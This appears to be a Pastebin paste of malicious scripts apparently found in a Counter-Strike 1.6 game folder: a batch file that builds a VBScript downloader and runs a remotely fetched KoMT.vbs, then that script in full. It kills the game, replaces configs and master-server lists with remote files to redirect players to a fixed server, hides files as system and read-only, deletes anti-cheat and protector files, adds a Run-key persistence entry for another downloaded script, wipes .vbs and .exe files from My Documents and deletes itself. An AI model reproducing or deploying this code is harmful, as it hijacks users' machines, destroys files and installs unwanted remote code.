Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- C:\Users\user\AppData\Local\VirtualStore\Program Files (x86)\Counter Strike 1.6 Magesy
- xforC.cmd
- @echo off
- set DLOAD_SCRIPT=download.vbs
- echo Option Explicit > %DLOAD_SCRIPT%
- echo Dim args, http, fileSystem, adoStream, url, target, status >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- echo Set args = Wscript.Arguments >> %DLOAD_SCRIPT%
- echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %DLOAD_SCRIPT%
- echo url = args(0) >> %DLOAD_SCRIPT%
- echo target = args(1) >> %DLOAD_SCRIPT%
- echo WScript.Echo "Getting '" ^& target ^& "' from '" ^& url ^& "'..." >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- echo http.Open "GET", url, False >> %DLOAD_SCRIPT%
- echo http.Send >> %DLOAD_SCRIPT%
- echo status = http.Status >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- echo If status ^<^> 200 Then >> %DLOAD_SCRIPT%
- echo WScript.Echo "FAILED to download: HTTP Status " ^& status >> %DLOAD_SCRIPT%
- echo WScript.Quit 1 >> %DLOAD_SCRIPT%
- echo End If >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- echo Set adoStream = CreateObject("ADODB.Stream") >> %DLOAD_SCRIPT%
- echo adoStream.Open >> %DLOAD_SCRIPT%
- echo adoStream.Type = 1 >> %DLOAD_SCRIPT%
- echo adoStream.Write http.ResponseBody >> %DLOAD_SCRIPT%
- echo adoStream.Position = 0 >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- echo Set fileSystem = CreateObject("Scripting.FileSystemObject") >> %DLOAD_SCRIPT%
- echo If fileSystem.FileExists(target) Then fileSystem.DeleteFile target >> %DLOAD_SCRIPT%
- echo adoStream.SaveToFile target >> %DLOAD_SCRIPT%
- echo adoStream.Close >> %DLOAD_SCRIPT%
- echo. >> %DLOAD_SCRIPT%
- cscript //Nologo %DLOAD_SCRIPT% http://site/get/KoMT.vbs KoMT.vbs
- start KoMT.vbs
- end file
- ................................................
- KoMT.vbs
- ///////////////
- CreateObject("WScript.Shell").Run("taskkill /f /im hl.exe")
- Sub unProtectFile( filename )
- dim readfile, filesys
- set filesys = CreateObject("Scripting.FileSystemObject")
- If filesys.FileExists( filename ) Then
- set readfile = filesys.GetFile( filename )
- readfile.Attributes = 0 ' normal
- End If
- End Sub
- Sub protectFile( filename )
- dim readfile, filesys
- set filesys = CreateObject("Scripting.FileSystemObject")
- If filesys.FileExists( filename ) Then
- set readfile = filesys.GetFile( filename )
- readfile.Attributes = 7 ' hidden + system + readonly
- End If
- End Sub
- Sub DeleteAFile( filename )
- Dim filesys
- Set filesys = CreateObject("Scripting.FileSystemObject")
- If filesys.FileExists( filename ) Then
- unProtectFile( filename )
- filesys.DeleteFile( filename ), True
- End If
- End Sub
- Sub RenameFile( oldName, newName )
- Dim filesys
- Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
- If filesys.FileExists( oldName ) Then
- filesys.MoveFile oldName, newName
- End If
- End Sub
- Sub ClearCFG( path )
- DeleteAFile path
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(path, ForWriting)
- objFile.Write "connect auto.site:27015"
- objFile.Close
- protectFile path
- End Sub
- Sub DeleteAFolder( foldername )
- Dim filesys
- Set filesys = CreateObject("Scripting.FileSystemObject")
- If filesys.FolderExists( foldername ) Then
- ' unProtectFile( foldername )
- filesys.DeleteFolder( foldername ), True
- End If
- End Sub
- Sub RenameFolder( oldName, newName )
- Dim filesys
- Set filesys = WScript.CreateObject("Scripting.FileSystemObject")
- If filesys.FolderExists( oldName ) Then
- filesys.MoveFolder oldName, newName
- End If
- End Sub
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/gamemenu.res?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\resource\GameMenu.res"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\resource\GameMenu.res", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("cstrike\resource\GameMenu.res")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("config\MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("config\MasterServers.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\rev_MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("config\rev_MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("config\rev_MasterServers.vdf")
- End If
- On Error Goto 0
- ' Download GameMenu.res
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("platform\config\MasterServers.vdf")
- End If
- On Error Goto 0
- ' Download GameMenu.res
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\rev_MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\rev_MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("platform\config\rev_MasterServers.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\rew_MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\rew_MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("platform\config\rew_MasterServers.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "valve\resource\UI\bl.res"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("valve\resource\UI\bl.res", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("valve\resource\UI\bl.res")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\rew_MasterServers.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\rew_MasterServers.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("config\rew_MasterServers.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("platform\config\serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\rew_serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\rew_serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("platform\config\rew_serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "platform\config\rev_serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("platform\config\rev_serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("platform\config\rev_serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("config\serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("config\serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\rew_serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("config\rew_serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("config\rew_serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/serverbrowser.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "config\rev_serverbrowser.vdf"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("config\rev_serverbrowser.vdf", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("config\rev_serverbrowser.vdf")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/userconfig.cfg?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\userconfig.cfg"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\userconfig.cfg", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("cstrike\userconfig.cfg")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/config.cfg?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\config.cfg"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\config.cfg", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- 'protectFile("cstrike\config.cfg")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\motd_temp.html.old"
- RenameFile "cstrike\motd_temp.html", "cstrike\motd_temp.html.old"
- DeleteAFile "cstrike\motd_temp.html"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\motd_temp.html", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("cstrike\motd_temp.html")
- End If
- On Error Goto 0
- On Error Resume Next
- ClearCFG "cstrike\hw\geforce.cfg"
- ClearCFG "cstrike\hw\opengl.cfg"
- ClearCFG "cstrike\autoexec.cfg"
- ClearCFG "cstrike\valve.rc"
- ClearCFG "valve\valve.rc"
- ClearCFG "valve\hw\geforce.cfg"
- ClearCFG "valve\hw\opengl.cfg"
- ClearCFG "valve\valve.rc"
- On Error Goto 0
- WScript.Sleep(3000)
- On Error Resume Next
- RenameFolder "cstrike\bin", "cstrike\bin_old"
- RenameFile "cstrike\bin", "cstrike\bin_old"
- protectFile("cstrike\liblist.gam")
- DeleteAFile "cstrike\bin\TrackerUI.dll"
- DeleteAFile "valve\bin\TrackerUI.dll"
- DeleteAFile "cstrike\cl_dlls\ParticleMan.dll"
- DeleteAFile "NexonUp.asi"
- DeleteAFile "CMShield.asi", "CMShield.asi.bak"
- DeleteAFile "gopnict.flt"
- DeleteAFile "update.asi"
- DeleteAFile "muc.bak"
- RenameFile "cstrike\bin\TrackerUI.dll", "cstrike\bin\TrackerUI.dll.old"
- RenameFile "cstrike\bin\TrackerUI.DLL", "cstrike\bin\TrackerUI.DLL.old"
- RenameFile "valve\bin\TrackerUI.dll", "valve\bin\TrackerUI.dll.old"
- RenameFile "cstrike\cl_dlls\ParticleMan.dll", "cstrike\cl_dlls\ParticleMan.dll.old"
- RenameFile "NexonUp.asi", "NexonUp.asi.old"
- RenameFile "CsShield.dll", "CsShield.dll.old"
- DeleteAFile "cstrike\bin\TrackerUI.dll.old"
- DeleteAFile "valve\bin\TrackerUI.dll.old"
- DeleteAFile "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile "NexonUp.asi.old"
- DeleteAFile "SMShield.ini"
- DeleteAFile "SMShield.asi"
- DeleteAFile "SMShield.mix"
- DeleteAFile "client_save.asi"
- DeleteAFile "client_save.dll"
- DeleteAFile "SMShield.txt"
- DeleteAFile "LoaderD.dll"
- DeleteAFile "LoaderD.txt"
- DeleteAFile "LoaderD.ini"
- DeleteAFile "LoaderD.asi"
- DeleteAFile "cstrike\au.vbs"
- DeleteAFile "steam_ui.flt"
- DeleteAFile "cstrike\cs.exe"
- DeleteAFile "cstrike\radial.cdb"
- DeleteAFile "cstrike\bin\TrackerUI.DLL.old"
- DeleteAFile "mssv55.asi.old"
- RenameFile "mssv55.asi", "mssv55.asi.old"
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\bin"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\bin", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("cstrike\bin")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile "cstrike\save"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile("cstrike\save", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile("cstrike\save")
- End If
- On Error Goto 0
- CreateObject("WScript.Shell").Run("hl.exe -steam -game cstrike -noforcemparms -noforcemaccel")
- Set objShell = Wscript.CreateObject("Wscript.Shell")
- strPath = objShell.SpecialFolders("MyDocuments")
- strMyPath = strPath & "\"
- On Error Resume Next
- Dim filesys
- Set filesys = CreateObject("Scripting.FileSystemObject")
- filesys.DeleteFile( strMyPath & "*.vbs" ), True
- filesys.DeleteFile( strMyPath & "*.exe" ), True
- On Error Goto 0
- Set objShell = Wscript.CreateObject("Wscript.Shell")
- strPath = objShell.SpecialFolders("MyDocuments")
- strMyPath = strPath & "\"
- On Error Resume Next
- Dim objShellReg, oReg
- Set objShellReg = CreateObject("WScript.Shell")
- Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv")
- objShellReg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UVBS", StrMyPath & "fiBYT.vbs", "REG_SZ"
- Set objShellReg = Nothing
- On Error Goto 0
- Set objShell = Wscript.CreateObject("Wscript.Shell")
- strPath = objShell.SpecialFolders("Startup")
- strMyPath = strPath & "\"
- On Error Resume Next
- DeleteAFile strMyPath & "hl.vbs"
- On Error Goto 0
- WScript.Sleep 5000
- Set objShell = Wscript.CreateObject("Wscript.Shell")
- strPath = objShell.SpecialFolders("MyDocuments")
- strMyPath = strPath & "\"
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/get/fiBYT.vbs?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile strMyPath & "fiBYT.vbs"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(strMyPath & "fiBYT.vbs", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile(strMyPath & "fiBYT.vbs")
- End If
- On Error Resume Next
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/masterservers.vdf?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile strMyPath & "mrv.upk"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(strMyPath & "mrv.upk", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile(strMyPath & "mrv.upk")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/gamemenu.res?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile strMyPath & "mrvgamemenu.upk"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(strMyPath & "mrvgamemenu.upk", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile(strMyPath & "mrvgamemenu.upk")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile strMyPath & "bin"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(strMyPath & "bin", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile(strMyPath & "bin")
- End If
- On Error Goto 0
- On Error Resume Next
- Set objHTTP = CreateObject("MSXML2.XMLHTTP")
- Call objHTTP.Open("GET", "http://site/csfiles/motd_temp.html?" & Rnd, FALSE)
- objHTTP.Send
- If Err.Number <> 0 Then
- Else
- DeleteAFile strMyPath & "motd_temp.html"
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFSO.CreateTextFile(strMyPath & "motd_temp.html", ForWriting)
- objFile.Write objHTTP.ResponseText
- objFile.Close
- protectFile(strMyPath & "motd_temp.html")
- End If
- On Error Goto 0
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
- Set colFiles = objWMIService.ExecQuery _
- ("Select * from CIM_DataFile Where Filename = 'hl' and Extension = 'exe'")
- For Each objFile in colFiles
- On Error Resume Next
- DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin_old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin_old"
- DeleteAFile objFile.Drive & objFile.Path & "bin\TrackerUI.DLL"
- DeleteAFile objFile.Drive & objFile.Path & "config\MasterServers.vdf"
- DeleteAFile objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
- DeleteAFile objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
- DeleteAFile objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\au.vbs"
- DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\protector.cfg"
- DeleteAFile objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
- DeleteAFile objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
- RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
- RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
- RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi"
- DeleteAFile objFile.Drive & objFile.Path & "gopnict.flt"
- DeleteAFile objFile.Drive & objFile.Path & "update.asi"
- DeleteAFile objFile.Drive & objFile.Path & "muc.bak"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "NexonUp.asi.old"
- DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\radial.cdb"
- RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
- DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
- RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"
- RenameFolder objFile.Drive & objFile.Path & "cstrike\bin", objFile.Drive & objFile.Path & "cstrike\bin_old"
- RenameFile objFile.Drive & objFile.Path & "cstrike\bin", objFile.Drive & objFile.Path & "cstrike\bin_old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
- RenameFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old"
- Dim FSO
- Set FSO = CreateObject("Scripting.FileSystemObject")
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "valve\resource\UI\bl.res"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrv.upk", objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf"
- FSO.CopyFile strMyPath & "mrvgamemenu.upk", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res"
- FSO.CopyFile strMyPath & "bin", objFile.Drive & objFile.Path & "cstrike\"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\hw\geforce.cfg"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\hw\opengl.cfg"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\autoexec.cfg"
- ' FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\userconfig.cfg"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "valve\hw\geforce.cfg"
- FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "valve\hw\opengl.cfg"
- Set FSO = nothing
- protectFile(objFile.Drive & objFile.Path & "config\MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res")
- protectFile(objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf")
- protectFile(objFile.Drive & objFile.Path & "valve\resource\UI\bl.res")
- protectFile(objFile.Drive & objFile.Path & "revSrvBrowser.dll")
- protectFile(objFile.Drive & objFile.Path & "cstrike\liblist.gam")
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll"
- DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll"
- RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
- RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
- RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\ParticleMan.dll.old"
- DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old"
- RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old"
- DeleteAFile objFile.Drive & objFile.Path & "msvv82.asi.old"
- RenameFile objFile.Drive & objFile.Path & "msvv82.asi", objFile.Drive & objFile.Path & "msvv82.asi.old"
- On Error Goto 0
- Next
- DeleteAFile strMyPath & "mrv.upk"
- DeleteAFile strMyPath & "mrvgamemenu.upk"
- DeleteAFile strMyPath & "revSrvBrowser.dll.upk"
- DeleteAFile strMyPath & "bin"
- DeleteAFile strMyPath & "motd_temp.html"
- Sub Up()
- Set objShell = Wscript.CreateObject("Wscript.Shell")
- strPath = objShell.SpecialFolders("MyDocuments")
- strMyPath = strPath & "\"
- Dim filesys
- Set filesys = CreateObject("Scripting.FileSystemObject")
- On Error Goto 0
- End Sub
- ' DELETE SELF
- On Error Resume Next
- WScript.Sleep 1000
- Set fileSystem = CreateObject("Scripting.FileSystemObject")
- thisScript = Wscript.ScriptFullName
- fileSystem.DeleteFile(thisScript)
- On Error Goto 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement